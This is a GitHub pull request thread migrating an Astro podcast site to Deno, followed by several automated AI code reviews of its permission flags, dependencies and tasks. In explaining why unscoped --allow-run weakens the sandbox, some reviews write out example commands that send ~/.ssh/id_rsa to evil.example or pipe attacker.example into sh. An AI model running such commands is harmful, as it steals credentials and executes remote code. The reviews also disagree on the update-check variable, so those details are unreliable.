Skip to content

#1 Migrate to Deno - #14

Merged
taoeffect merged 14 commits into
mainfrom
sebin/task/#1-migrate-to-deno
Oct 15, 2026
Merged

taoeffect merged 14 commits into
mainfrom
sebin/task/#1-migrate-to-deno

Conversation

@SebinSong

Copy link
Copy Markdown
Collaborator

closes #1

  • Replaced package.json, package-lock.json and .npmrc with deno.json and deno.lock.
  • Upgraded Astro from 5 to 7, along with @astrojs/mdx, @astrojs/vue, @astrojs/rss and vue.
  • Added two settings to astro.config.mjs that the build needs without a package.json.
  • Added development instructions to README.md, and an AGENTS.md for AI coding agents.
  • A couple UI bugfixes.

[ deno task build command works in my machine ]


AI disclosure

This PR was generated with assistance of Opus 5.5 under my supervision(reviewed/modified).

@SebinSong SebinSong self-assigned this Oct 5, 2026
@SebinSong SebinSong changed the title #1 Migrate to deno #1 Migrate to Deno Oct 5, 2026
@SebinSong

SebinSong commented Oct 5, 2026 •

Copy link
Copy Markdown
Collaborator Author

/review


AI review started.

Comment thread AGENTS.md
Comment on lines +1 to +3
# AGENTS.md

This file provides guidance to AI coding agents when working with code in this repository.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Noticed this project doesn't have AGENTS.md yet, so created one using /init command in Claude Code. But please feel free to rewrite/amend this in the future if needed.

@github-actions

github-actions Bot commented Oct 5, 2026

Copy link
Copy Markdown

Advanced AI Review

  • Type: Agentic (crush)
  • Model: glm-5.2
Click to expand review

Code Review

Base: origin/main (a397743)
Head: ccc87ca (HEAD, origin/sebin/task/#1-migrate-to-deno)
Date: 2026-10-05
Model: glm-5.2

Scope note: deno.lock (2624 of 2788 changed lines) was reviewed as a lockfile — cross-checked against deno.json and scanned for anomalies. All 10 pinned imports map 1:1 to lock specifiers, all 430 npm entries carry sha512 integrity hashes, there are no non-registry (git/URL/tarball) sources, no duplicate or dangling entries, and every locked package is reachable from the 10 roots. The two UI changes (EpisodeCard.vue prop-mutation fix, [tag].astro CSS) were verified against their call sites and are correct.


1. 🟡 Unused @astrojs/rss dependency is still pinned, contradicting the PR's supply-chain goal

  • Addressed
  • Dismissed

deno.json:11 pins "@astrojs/rss": "npm:@astrojs/rss@4.0.19", but nothing in the repo imports it: src/pages/rss.xml.js:1-7 imports only node:path, @/utils/rss-generation.ts and @/constants.ts, and the new AGENTS.md:49 itself documents that the feed is built by hand "(not @astrojs/rss)". The dependency was already dead weight in the old package.json (also unused there), and this PR carries it into the new lockfile, where it is the sole reason seven packages are locked: @astrojs/rss@4.0.19 (deno.lock:128) plus its exclusive subtree fast-xml-parser@5.11.2, @nodable/entities, fast-xml-builder, strnum, anynum, is-unsafe.

Since issue #1's stated motivation is shrinking the npm supply-chain attack surface, remove the dead entry and regenerate the lock:

// deno.json "imports"
{
  "@astrojs/mdx": "npm:@astrojs/mdx@8.0.2",
  "@astrojs/vue": "npm:@astrojs/vue@7.0.3",
  ...
}

then run deno install so deno.lock drops @astrojs/rss@4.0.19 and its 6 exclusively-rss transitive packages.

2. 🟡 ASTRO_DISABLE_UPDATE_CHECK is only set on dev, contradicting the new AGENTS.md guidance

  • Addressed
  • Dismissed

AGENTS.md:23 (added in this PR) states: "The ASTRO_TELEMETRY_DISABLED and ASTRO_DISABLE_UPDATE_CHECK variables in the tasks are required: without them Astro attempts things the permissions do not allow." But deno.json:5-7 sets ASTRO_DISABLE_UPDATE_CHECK=true only on the dev task; build, preview and stop-preview set only ASTRO_TELEMETRY_DISABLED=1. With --allow-net limited to localhost, any update check Astro performs during those tasks will be blocked by Deno and produce permission errors/prompts — exactly the failure mode the env var exists to prevent. Either the doc or the tasks are wrong; most consistent fix is to set it everywhere:

"build": "ASTRO_TELEMETRY_DISABLED=1 ASTRO_DISABLE_UPDATE_CHECK=true deno run --allow-read --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1 astro build",
"preview": "ASTRO_TELEMETRY_DISABLED=1 ASTRO_DISABLE_UPDATE_CHECK=true deno run --allow-read --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1,0.0.0.0,[::] astro preview",
"stop-preview": "ASTRO_TELEMETRY_DISABLED=1 ASTRO_DISABLE_UPDATE_CHECK=true deno run --allow-read --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1 astro preview stop"

3. ⚪ /review workflow diff excludes every lockfile except the new deno.lock

  • Addressed
  • Dismissed

.github/workflows/pull-review.yml:186-188 excludes package-lock.json, pnpm-lock.yaml, yarn.lock and go.sum from the diff fed to the AI reviewer, but not deno.lock. After this migration, dependency-touching PRs will inject the entire 2600+ line lockfile into the review prompt (in this very PR it is 94% of the changed lines), wasting tokens and burying real changes. Add it to the pathspec:

          git diff "origin/$BASE_REF" -U15 \
            -- . \
            ':!deno.lock' ':!**/deno.lock' \
            ':!package-lock.json' ':!**/package-lock.json' \
            ...

(deno.lock changes are already validated by deno install's integrity checks, so excluding them loses nothing.)

4. ⚪ Broad --allow-run / --allow-ffi / unscoped --allow-env undercut the migration's security goal

  • Addressed
  • Dismissed

All four tasks in deno.json:4-7 grant --allow-run (no command allowlist), --allow-ffi, and unscoped --allow-env. --allow-run without an allowlist lets any dependency spawn arbitrary subprocesses, and spawned processes escape the Deno sandbox entirely — re-opening the escape hatch the explicit-permissions setup (and issue #1) is meant to close. The flags may well be required (native Vite/rolldown bindings via --allow-ffi; preview stop signaling the recorded PID via --allow-run), but nothing in the repo records why each is needed, so future tasks will cargo-cult the full set. Suggest documenting per-flag justification in AGENTS.md (next to the existing permissions bullet) so they can be pruned when Astro/Deno change, and scoping where feasible (e.g. --allow-env=ASTRO_*,NODE_*, or narrowing --allow-net on build once issue 2 is fixed).

5. ⚪ Leftover npm artifacts now that npm is gone

  • Addressed
  • Dismissed

.gitignore:11 still ignores npm-debug.log* under the # logs heading. With package.json, .npmrc and npm itself removed, npm debug logs can no longer be produced; the entry is dead (node_modules/ above it should stay — Deno's nodeModulesDir: "auto" still creates it). Simply drop the line:

 # dependencies
 node_modules/

-# logs
-npm-debug.log*
-
 # macOS-specific files
 .DS_Store

</details>

---
*Review [generated](https://github.com/okTurtles/podcast/actions/runs/37389148348) using `glm-5.2` via Z.AI. Comment `/review` to re-run.*

@github-actions

github-actions Bot commented Oct 5, 2026

Copy link
Copy Markdown

Advanced AI Review

  • Type: Combined (opencode)
  • Model: glm-5.2
Click to expand review

1. 🟡 The permission flags don't provide the sandbox the docs claim

  • Addressed
  • Dismissed

deno.json:4-7 grants:

"dev": "ASTRO_TELEMETRY_DISABLED=1 ASTRO_DISABLE_UPDATE_CHECK=true deno run --allow-read --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1,0.0.0.0,[::] astro dev",
"build": "ASTRO_TELEMETRY_DISABLED=1 deno run --allow-read --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1 astro build",

Note what these flags actually allow:

  • --allow-ffi (arbitrary native library loading) and --allow-run with no allowlist (spawn any binary) each permit arbitrary code execution on their own — and spawned subprocesses do not inherit Deno's sandbox, so they have unrestricted network access. The localhost-only --allow-net is trivially bypassed (e.g. sh -c 'curl -d @~/.ssh/id_rsa evil.example').
  • --allow-read with no path scope lets any dependency read any file on the machine (~/.ssh, ~/.aws, shell history, etc.) via Deno APIs.

So "Network access is limited to localhost" — as AGENTS.md:22 claims — is not true in practice:

- Tasks run Astro with restricted permissions (the `--allow-*` flags in `deno.json`) rather than `--allow-all`. Network access is limited to localhost.

Both --allow-ffi and --allow-run are probably genuinely required (in-process native addons: @astrojs/compiler-rs, satteri, sharp, @parcel/watcher; spawned binaries: esbuild), so they can't simply be dropped — but the read scope can and should be tightened, and unexpected permission requests should fail loudly instead of interactively inviting a developer to silently widen the sandbox (--no-prompt). The real supply-chain protection is the integrity-pinned deno.lock, and the docs should say so:

{
  "tasks": {
    "dev": "ASTRO_TELEMETRY_DISABLED=1 ASTRO_DISABLE_UPDATE_CHECK=true deno run --no-prompt --allow-read=. --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1,0.0.0.0,[::] astro dev",
    "build": "ASTRO_TELEMETRY_DISABLED=1 deno run --no-prompt --allow-read=. --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1 astro build",
    "preview": "ASTRO_TELEMETRY_DISABLED=1 deno run --no-prompt --allow-read=. --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1,0.0.0.0,[::] astro preview",
    "stop-preview": "ASTRO_TELEMETRY_DISABLED=1 deno run --no-prompt --allow-read=. --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1 astro preview stop"
  }
}

If a task then fails with a RequiresReadAccess error for something under $HOME (e.g. ~/.astro preferences), add that single path explicitly rather than reverting to blanket read. Suggested replacement for AGENTS.md:22:

- Tasks run Astro without `--allow-all`, but note this is a convenience restriction, not a sandbox: `--allow-ffi` and `--allow-run` are required by the toolchain (native addons and binaries like esbuild) and each permits arbitrary code execution, and child processes are unrestricted. Reads are scoped to the project directory. The primary supply-chain protection is `deno.lock`, which pins every dependency with integrity hashes.

2. 🟡 nodeModulesDir: "auto" likely doesn't do what the docs claim

  • Addressed
  • Dismissed

deno.json:2:

"nodeModulesDir": "auto",

Per Deno's documented semantics, "auto" only uses a local node_modules when a package.json exists — and this PR deletes package.json. That means dependency resolution falls back to the shared global cache (~/.cache/deno), which contradicts both AGENTS.md:12:

deno install        # install dependencies into node_modules/ (after cloning or changing deno.json)

and README.md:17 (deno install # install the dependencies, with the implication of a project-local install). It also weakens isolation: the global cache is shared by every Deno project on the machine, which cuts against the supply-chain motivation. (If node_modules/ currently exists on your machine, it may be stale from the npm era.)

Fix by making the behavior explicit:

"nodeModulesDir": "manual",

Then deno install genuinely creates a per-project node_modules/ from deno.lock. Please verify after switching: run rm -rf node_modules && deno install and confirm node_modules/ is recreated and deno task build still passes. It's also worth re-testing whether the astro.config.mjs:22 workaround:

noExternal: ['@astrojs/vue']

is still needed once node_modules/ actually exists — the "virtual:" import failure it papers over is consistent with deps resolving from the global cache instead of a real node_modules.


3. 🟡 @astrojs/rss is pinned in deno.json but used nowhere — remove it

  • Addressed
  • Dismissed

deno.json:11:

"@astrojs/rss": "npm:@astrojs/rss@4.0.19",

A repo-wide search shows @astrojs/rss is imported nowhere in src/ — the feed is hand-rolled in src/pages/rss.xml.js using src/utils/rss-generation.ts, and AGENTS.md:49 (written in this same PR) even documents it:

`src/pages/rss.xml.js` builds the feed XML by hand using the string helpers in `src/utils/rss-generation.ts` (not `@astrojs/rss`), ...

It's a leftover carried over from the deleted package.json, and it needlessly materializes its transitive tree (fast-xml-parser, piccolore, zod — deno.lock:5, deno.lock:128). On a PR whose goal is reducing supply-chain exposure, deleting an unused dep is a free win, and the PR description's claim of having "upgraded @astrojs/rss" would be moot:

// delete this line, then re-run `deno install` to regenerate/prune deno.lock
"@astrojs/rss": "npm:@astrojs/rss@4.0.19",

Related hygiene note: the deleted .npmrc had save-exact = true, but deno add defaults to caret ranges (^). Future dependency additions should pin exact versions (deno add npm:pkg@1.2.3) or the invariant documented at AGENTS.md:21 ("pinned to exact versions") will silently erode — worth a sentence in AGENTS.md.


4. 🟡 The migration drops all lint/format/type-check tooling

  • Addressed
  • Dismissed

AGENTS.md:19:

There is no lint, type-check or test script. `deno task build` is the only automated check; ...

This repo's convention is StandardJS, and this PR bumps Astro 5→7 plus Vue and both integrations — exactly the kind of change where losing all static checks hurts. (deno fmt is not a substitute; its style conflicts with standard.) Suggested additions:

{
  "imports": {
    "standard": "npm:standard@17.1.2",
    "@astrojs/check": "npm:@astrojs/check@0.9.4",
    "typescript": "npm:typescript@5.9.3"
  },
  "tasks": {
    "lint": "deno run --no-prompt -A npm:standard .",
    "check": "deno run --no-prompt -A astro check"
  }
}

(Pin whatever exact versions you settle on; -A is pragmatic here since eslint needs broad fs access — start restricted and widen if you prefer.) Then update AGENTS.md:19 accordingly.


5. 🟡 The AI-review workflow still excludes Node lockfiles but not deno.lock, which broke the review of this very PR

  • Addressed
  • Dismissed

.github/workflows/pull-review.yml:184-189 builds the review diff with:

          git diff "origin/$BASE_REF" -U15 \
            -- . \
            ':!package-lock.json' ':!**/package-lock.json' \
            ':!pnpm-lock.yaml' ':!**/pnpm-lock.yaml' \
            ':!yarn.lock' ':!**/yarn.lock' \
            ':!go.sum' ':!**/go.sum' \

This PR replaced package-lock.json with a 2624-line deno.lock, which is not on the exclusion list. Concretely, in this PR's own automated review the 100,000-character diff budget was consumed by deno.lock and the diff was truncated mid-lockfile — meaning the two actual code changes (src/components/elelision-list/EpisodeCard.vue, src/pages/tag/[tag].astro) were silently dropped from the review prompt. This will recur on every future dependency bump. Add:

          git diff "origin/$BASE_REF" -U15 \
            -- . \
            ':!deno.lock' ':!**/deno.lock' \
            ':!package-lock.json' ':!**/package-lock.json' \
            ':!pnpm-lock.yaml' ':!**/pnpm-lock.yaml' \
            ':!yarn.lock' ':!**/yarn.lock' \
            ':!go.sum' ':!**/go.sum' \

6. ⚪️ astro preview stop is not a documented Astro command

  • Addressed
  • Dismissed

deno.json:7:

"stop-preview": "ASTRO_TELEMETRY_DISABLED=1 deno run --allow-read --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1 astro preview stop"

Astro's CLI has no preview stop subcommand that I'm aware of (astro preview runs in the foreground; README.md:36 even describes stopping "a preview server left running in the background", yet no task backgrounds it). Since only build was verified per the PR description, please actually run deno task stop-preview on a fresh clone. If it errors, either drop the task or make the intent explicit:

"stop-preview": "lsof -ti :4321 | xargs kill"

(macOS/Linux only — fine if Windows contributors aren't a concern.)


7. ⚪️ AGENTS.md misstates when ASTRO_DISABLE_UPDATE_CHECK is required

  • Addressed
  • Dismissed

AGENTS.md:20:

The ASTRO_TELEMETRY_DISABLED and ASTRO_DISABLE_UPDATE_CHECK variables in the tasks are required: without them Astro attempts things the permissions do not allow.

But only the dev task sets ASTRO_DISABLE_UPDATE_CHECK (deno.json:4); build/preview/stop-preview (deno.json:5-7) don't. That happens to be correct: in astro@7.3.5 the update check only exists in the dev server (dist/core/dev/update-check.js), is skipped in CI, and is suppressed only when the value is exactly "true":

return timeSinceLastCheck > CHECK_MS_INTERVAL && process.env.ASTRO_DISABLE_UPDATE_CHECK !== "true" && hasCheckUpdatesEnabled;

The doc bullet should be corrected so nobody later "simplifies" =true to =1 (which would silently re-enable the registry.npmjs.org/astro/latest fetch and trip the net restriction), e.g.:

- `ASTRO_TELEMETRY_DISABLED` is needed by every task. `ASTRO_DISABLE_UPDATE_CHECK=true` (the value must be exactly `true`) is only needed by `dev`: without it the dev server fetches `registry.npmjs.org/astro/latest`, which the localhost-only `--allow-net` denies. CI skips the check either way.

8. ⚪️ Lifecycle scripts are enabled for several packages in deno.lock

  • Addressed
  • Dismissed

The new lockfile records script execution for (search deno.lock for "scripts": true):

"esbuild@0.28.2": {
  ...
  "scripts": true,
  "bin": true
},

along with fsevents@2.3.3 and @parcel/watcher@2.6.0. "scripts": true means those packages' npm lifecycle (postinstall) scripts run during deno install — the classic npm supply-chain vector this migration is meant to reduce. esbuild's install script is a known, usually-benign fallback, but each entry should be a deliberate, audited decision; once nodeModulesDir is "manual" (issue #2) you can control this explicitly with deno install --allow-scripts=<pkg> and regenerate the lock without permissions you don't need.


9. ⚪️ npm leftovers in .gitignore

  • Addressed
  • Dismissed

.gitignore:7-8:

 # logs
 npm-debug.log*

npm-debug.log* is dead weight now that npm is gone (keep node_modules/ — Deno's nodeModulesDir: "auto" still creates it). Either delete the two lines or replace with Deno equivalents if you want log ignores at all.


Review generated using glm-5.2 via Z.AI. Comment /review to re-run.

@taoeffect

taoeffect commented Oct 6, 2026 •

Copy link
Copy Markdown
Member

/review

Hmm, ignore those two reviews above, looks like I forgot to update the review model for this repo.


AI review started.

@github-actions

github-actions Bot commented Oct 6, 2026 •

Copy link
Copy Markdown

Advanced AI Review

  • Type: Agentic (crush)
  • Model: glm-5.3
Click to expand review

Code Review

Base: origin/main (a397743)
Head: ccc87ca (detached HEAD)
Date: 2026-10-06
Model: glm-5.3


Coverage: all 11 changed files were reviewed (slice-01: .gitignore, .npmrc, AGENTS.md, CLAUDE.md, README.md, astro.config.mjs, deno.json, package.json, src/components/episode-list/EpisodeCard.vue, src/pages/tag/[tag].astro; slice-02: deno.lock, all 2,624 lines). The deno.lock itself is sound: all 10 deno.json imports resolve at exactly the pinned versions (deno.lock:3-13), all 430 npm entries carry sha512- integrity hashes, no non-npm (git/URL/tarball) sources, all dependency references resolve, and linux x64/arm64 variants of every native package are present. No stale references to package.json, .npmrc or npm run remain anywhere (CI workflows only install their own tooling). The UI fixes ([...tags].sort() in EpisodeCard.vue:80, the .c-title-tag-label styling in src/pages/tag/[tag].astro:40,79-82) are correct.

1. 🟡 Task permission flags are effectively unrestricted, undercutting the PR's security goal

  • Addressed
  • Dismissed

Issue #1 motivates this migration with npm supply-chain security, and AGENTS.md:22 claims "Tasks run Astro with restricted permissions ... Network access is limited to localhost", but deno.json:4-7 grants nearly everything:

"build": "ASTRO_TELEMETRY_DISABLED=1 deno run --allow-read --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1 astro build",
  • --allow-read (unscoped) lets any of the 430 dependencies read the whole filesystem, including ~/.ssh/, ~/.aws/credentials, and shell history.
  • --allow-run (unscoped) lets any dependency spawn any executable. Deno's sandbox does not apply to child processes, so a compromised dependency can trivially bypass --allow-net=localhost via Deno.run({ cmd: ["curl", "..."] }) and exfiltrate everything --allow-read exposed.
  • --allow-ffi allows loading arbitrary native libraries (arbitrary code execution), and --allow-env/--allow-sys expose all environment variables and system info.

Some of this is probably load-bearing (esbuild spawns its binary; Rollup/lightningcss load native .node addons — and the commit "revert back the experimental permissions config" suggests stricter settings were already tried and reverted). But then the task set provides little real protection beyond write scope, and the docs oversell it. At minimum, scope read access and the run allowlist:

"build": "ASTRO_TELEMETRY_DISABLED=1 deno run --allow-read=.,$HOME/.cache/deno --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run=astro,esbuild,node astro build",

If --allow-run/--allow-ffi genuinely cannot be scoped further, document in AGENTS.md:22 which flags are required by Vite/esbuild so the sandbox's actual guarantees are clear rather than implied.

2. 🟡 stop-preview cannot stop the server started by the preview task

  • Addressed
  • Dismissed

deno.json:7 runs astro preview stop, and README.md:36 documents it as "Stops a preview server left running in the background". Per the Astro 7 CLI reference, preview only gained the stop/status/logs subcommands in v7.2.0 and they manage a detached background server tracked via a lock file (.astro/preview.json) that is only written when the server is started with --background. The preview task (deno.json:6) starts a foreground server, which stop cannot see — so deno task stop-preview after deno task preview does nothing (a foreground server dies with its terminal anyway, making the task useless). Fix by starting the server in background mode:

"preview": "ASTRO_TELEMETRY_DISABLED=1 deno run --allow-read --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1,0.0.0.0,[::] astro preview --background",

Note the tradeoff: --background detaches the process and switches to JSON logging. If contributors prefer a foreground server, instead change README.md:36 and drop the stop-preview task — but as written, task and docs do not match actual Astro 7 behavior.

3. 🟡 Unused @astrojs/rss dependency carried over into deno.json

  • Addressed
  • Dismissed

deno.json:11 pins @astrojs/rss@4.0.19 (pulling its whole subtree into deno.lock), but nothing imports it: src/pages/rss.xml.js builds the feed by hand from src/utils/rss-generation.ts, astro.config.mjs imports only @astrojs/mdx and @astrojs/vue, and AGENTS.md:49 even states the feed is built "not @astrojs/rss". It was already dead weight in the old package.json; this migration was the opportunity to drop it. Given the PR's supply-chain-minimization goal, remove it and regenerate the lock:

"imports": {
    "@astrojs/mdx": "npm:@astrojs/mdx@8.0.2",
    "@astrojs/vue": "npm:@astrojs/vue@7.0.3",
    ...
}

then run deno install so deno.lock drops the @astrojs/rss entries (including the workspace.dependencies list at deno.lock:2616-2629).

4. 🟡 ASTRO_DISABLE_UPDATE_CHECK documented as required but missing from 3 of 4 tasks

  • Addressed
  • Dismissed

AGENTS.md:23 states "The ASTRO_TELEMETRY_DISABLED and ASTRO_DISABLE_UPDATE_CHECK variables in the tasks are required: without them Astro attempts things the permissions do not allow." However, only the dev task (deno.json:4) sets ASTRO_DISABLE_UPDATE_CHECK=true; build, preview and stop-preview (deno.json:5-7) set only ASTRO_TELEMETRY_DISABLED=1. If the update check (a network fetch the localhost-only --allow-net blocks) is a problem for dev, the same applies to the other tasks. Either add it everywhere:

"build": "ASTRO_TELEMETRY_DISABLED=1 ASTRO_DISABLE_UPDATE_CHECK=true deno run --allow-read --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1 astro build",

or correct AGENTS.md:23 to say only dev needs it. As it stands the docs and config contradict each other, which will mislead contributors (and AI agents) following AGENTS.md.

5. ⚪ Process-introspection packages inside Astro's dependency tree — supply-chain due diligence

  • Addressed
  • Dismissed

astro@7.3.5 lists am-i-vibing as a direct dependency (deno.lock:1319), which depends on process-ancestry (deno.lock:1283-1286, deno.lock:2127) — packages that walk parent-process command lines (via /proc) to detect whether they run under an AI coding agent. This is consistent with Astro 7's documented behavior ("--background is applied automatically when an AI agent is detected on macOS/Linux"), and the lockfile is faithful to the pinned tarball (integrity-locked at deno.lock:1316), so it is not a migration defect. Flagging only because the PR's stated motivation is supply-chain security: the build toolchain now includes code that introspects running processes, and Astro's tree also carries several unfamiliar names (obug, tinyclip, verkit, @bruits/satteri-*, @astrojs/markdown-satteri) that are internally consistent in the lock graph but worth a one-time confirmation against the npm registry:

npm view astro@7.3.5 dependencies
npm view am-i-vibing@0.4.0 maintainers repository

If they match the published manifests, no change is needed; keeping such detection out of the toolchain entirely would require upstream action, not edits to this repo.


Review generated using glm-5.3 via Z.AI. Comment /review to re-run.

@github-actions

github-actions Bot commented Oct 6, 2026 •

Copy link
Copy Markdown

Advanced AI Review

  • Type: Combined (opencode)
  • Model: glm-5.3
Click to expand review

1. 🟡 Unrestricted --allow-run/--allow-ffi largely defeat the permission sandbox this migration is meant to provide, and AGENTS.md oversells it

  • Addressed
  • Dismissed

AGENTS.md:18 claims:

Tasks run Astro with restricted permissions (the --allow-* flags in deno.json) rather than --allow-all. Network access is limited to localhost.

Yet every task (deno.json:4-7) grants:

"dev": "ASTRO_TELEMETRY_DISABLED=1 ASTRO_DISABLE_UPDATE_CHECK=true deno run --allow-read --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1,0.0.0.0,[::] astro dev",

Since the stated goal of this migration is reducing supply-chain exposure, it's worth being clear about what these flags do:

  • --allow-read / --allow-env are unrestricted.
  • --allow-run (unrestricted) lets any dependency spawn any binary. Deno's permission model does not apply to subprocesses — a compromised dep can run sh/curl/anything with your full user privileges. This also bypasses the --allow-net=localhost,... restriction, since the spawned process has unrestricted network access. A compromised dependency could simply do Deno.Command("sh", { args: ["-c", "curl attacker.example | sh"] }) and get full network + filesystem access.
  • --allow-ffi (unrestricted) allows loading any shared library and executing arbitrary native code — effectively full system access.

So while the flags are narrower than --allow-all on paper, in practice run + ffi are each independently a full sandbox escape for the main threat model (malicious npm code); the set only stops direct fetch() from the main process.

Suggestions:

  1. Try narrowing. The plausible reasons these flags are needed are the esbuild binary spawn (Vite) and the N-API addons (@astrojs/compiler-rs, optional sharp), so allowlist-based variants are worth testing:

    --allow-run=esbuild --allow-ffi=./node_modules
    
  2. Or move permissions into a named set (Deno 2.5+, and the README already requires 2.7+) where you can also add explicit deny entries as defense-in-depth, and stop repeating the flag soup in all four tasks (see also issue 5):

    // deno.json
    {
      "permissions": {
        "astro": {
          "read": true,
          "write": ["."],
          "env": true,
          "sys": true,
          "ffi": { "allow": ["./node_modules"] },
          "run": { "allow": ["esbuild"], "deny": ["sh", "bash", "zsh", "cmd", "powershell"] },
          "net": ["localhost", "127.0.0.1"]
        }
      },
      "tasks": {
        "dev": "ASTRO_TELEMETRY_DISABLED=1 ASTRO_DISABLE_UPDATE_CHECK=true deno run -P=astro astro dev"
      }
    }

    (Caveat: verify deno task build and deno task dev still pass with the narrowed values before committing to them.)

  3. Regardless of narrowing, the docs should not oversell this. Suggested rewording for AGENTS.md:

    - Tasks run Astro without `--allow-all` and with network access limited to localhost. This is **not** a hard sandbox: `--allow-run`/`--allow-ffi` are required by Astro's native toolchain (esbuild/compiler bindings), so a compromised dependency could still execute arbitrary commands via subprocesses. The main supply-chain defense is the fully pinned `deno.lock` — review lockfile diffs before running `deno install`.

2. 🟡 @astrojs/rss is pinned in deno.json but never imported anywhere — the PR's own docs say the feed is built without it

  • Addressed
  • Dismissed

deno.json:11:

    "@astrojs/rss": "npm:@astrojs/rss@4.0.19",

Yet src/pages/rss.xml.js:1-7 builds the feed by hand, importing only local modules — a grep for @astrojs/rss across src/ returns nothing — and AGENTS.md:49 itself documents:

src/pages/rss.xml.js builds the feed XML by hand using the string helpers in src/utils/rss-generation.ts (not @astrojs/rss), following Apple Podcasts requirements...

The whole point of this migration is reducing supply-chain surface; an entry in imports that nothing imports is pure attack surface with zero benefit. Remove it and re-run deno install to prune it (and its transitive deps fast-xml-parser, piccolore, zod) from deno.lock:

   "imports": {
     "@astrojs/mdx": "npm:@astrojs/mdx@8.0.2",
-    "@astrojs/rss": "npm:@astrojs/rss@4.0.19",
     "@astrojs/vue": "npm:@astrojs/vue@7.0.3",

3. 🟡 ASTRO_DISABLE_UPDATE_CHECK is missing from three of the four tasks, contradicting AGENTS.md

  • Addressed
  • Dismissed

Only deno.json:4 (dev) sets it; build (deno.json:5), preview (deno.json:6) and stop-preview (deno.json:7) set only ASTRO_TELEMETRY_DISABLED. Astro's update check is CLI-wide (it applies to every command, including build and preview), performs a fetch to the npm registry — which the localhost-only --allow-net denies — and writes state outside --allow-write=.. Meanwhile AGENTS.md:19 states:

The ASTRO_TELEMETRY_DISABLED and ASTRO_DISABLE_UPDATE_CHECK variables in the tasks are required: without them Astro attempts things the permissions do not allow.

Either the claim is wrong (fix the doc) or the tasks are fragile (fix the tasks). The safest fix is consistency — prefix all four tasks:

    "build": "ASTRO_TELEMETRY_DISABLED=1 ASTRO_DISABLE_UPDATE_CHECK=true deno run --allow-read --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1 astro build",
    "preview": "ASTRO_TELEMETRY_DISABLED=1 ASTRO_DISABLE_UPDATE_CHECK=true deno run --allow-read --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1,0.0.0.0,[::] astro preview",

4. ⚪️ stop-preview can only stop a preview server started with --background, which the preview task never passes

  • Addressed
  • Dismissed

deno.json:6-7:

    "preview": "... astro preview",
    "stop-preview": "... astro preview stop"

astro preview stop is a real command (added for preview in Astro v7.2.0; this project uses 7.3.5), but per the Astro CLI reference it manages a background server — it reads the .astro/preview.json lock file that is only written when --background is used. A normally-run astro preview is a foreground process stopped with q/Ctrl+C, so deno task stop-preview is a no-op for the server deno task preview starts (except when an AI agent auto-backgrounds it). Either make the pairing coherent:

    "preview": "ASTRO_TELEMETRY_DISABLED=1 ASTRO_DISABLE_UPDATE_CHECK=true deno run -P=astro astro preview --background",

or tweak the wording in README.md:36 / AGENTS.md:12 to say it only stops a server that was started with --background (or by an AI agent).

5. ⚪️ The four near-identical permission strings invite drift — they already have

  • Addressed
  • Dismissed

deno.json:4-7 repeats the same flag list four times, and they've already drifted: dev/preview allow 0.0.0.0,[::] in --allow-net while build/stop-preview don't, and only dev has ASTRO_DISABLE_UPDATE_CHECK (see issue 3). Duplicated config like this is how that inconsistency happened. The permissions sets shown in issue 1 (deno run -P=astro astro <cmd>) collapse this to a single source of truth. As a side note, 0.0.0.0 in a connect allowlist is meaningless (it's a bind address); localhost,127.0.0.1 is sufficient for listening unless you intentionally pass --host.

6. ⚪️ The Vite @ alias is probably redundant with the existing tsconfig paths

  • Addressed
  • Dismissed

astro.config.mjs:16-18:

alias: {
  '@': fileURLToPath(new URL('./src', import.meta.url)),
},

tsconfig.json:13-17 already defines "@/*": ["src/*"], and Astro natively supports tsconfig paths aliases (it wires them into Vite for you). Since this alias was added in the same debugging session as the noExternal: ['@astrojs/vue'] workaround at astro.config.mjs:22 for the virtual: import error (that workaround itself is legitimate and should stay), the alias may just have been swept up. Worth a quick experiment removing the whole alias block and re-running deno task build — if it still passes, the config gets simpler and there's one less duplicated source of truth for the alias. If the build breaks, keep it (the alias itself is safe as written — Vite's string matching requires @ or @/ prefixes, so @vue/…/@astrojs/… are unaffected).

7. ⚪️ npm lifecycle scripts are recorded as enabled in deno.lock

  • Addressed
  • Dismissed

Several deno.lock entries carry "scripts": true, e.g. the esbuild@0.28.2, @parcel/watcher@2.6.0 and fsevents@2.3.3 entries:

    "esbuild@0.28.2": {
      "integrity": "sha512-HKVLS8dvII+xoKW9kmqxbRKrn...",
      ...
      "scripts": true,
      "bin": true
    },

"scripts": true means Deno will execute these packages' install scripts (arbitrary JS with full system privileges) when setting up node_modules. Deno restricts this to an allowlist by default, but for a security-motivated migration it's worth (a) being consciously aware of it, and (b) checking Deno 2.7's options for disabling/auditing npm lifecycle scripts — note @parcel/watcher/fsevents only matter for dev-mode file watching, so a CI build likely doesn't need them at all. (Low confidence on the exact config knobs since Deno 2.7 postdates what could be verified.)

8. ⚪️ Linting quietly disappeared from the workflow

  • Addressed
  • Dismissed

AGENTS.md:19 states "There is no lint, type-check or test script" — but this project is documented as using StandardJS, and deleting package.json removed whatever lint entry point existed. Consider adding a task so the convention is still enforceable, e.g.:

    "lint": "deno run -A npm:standard src/"

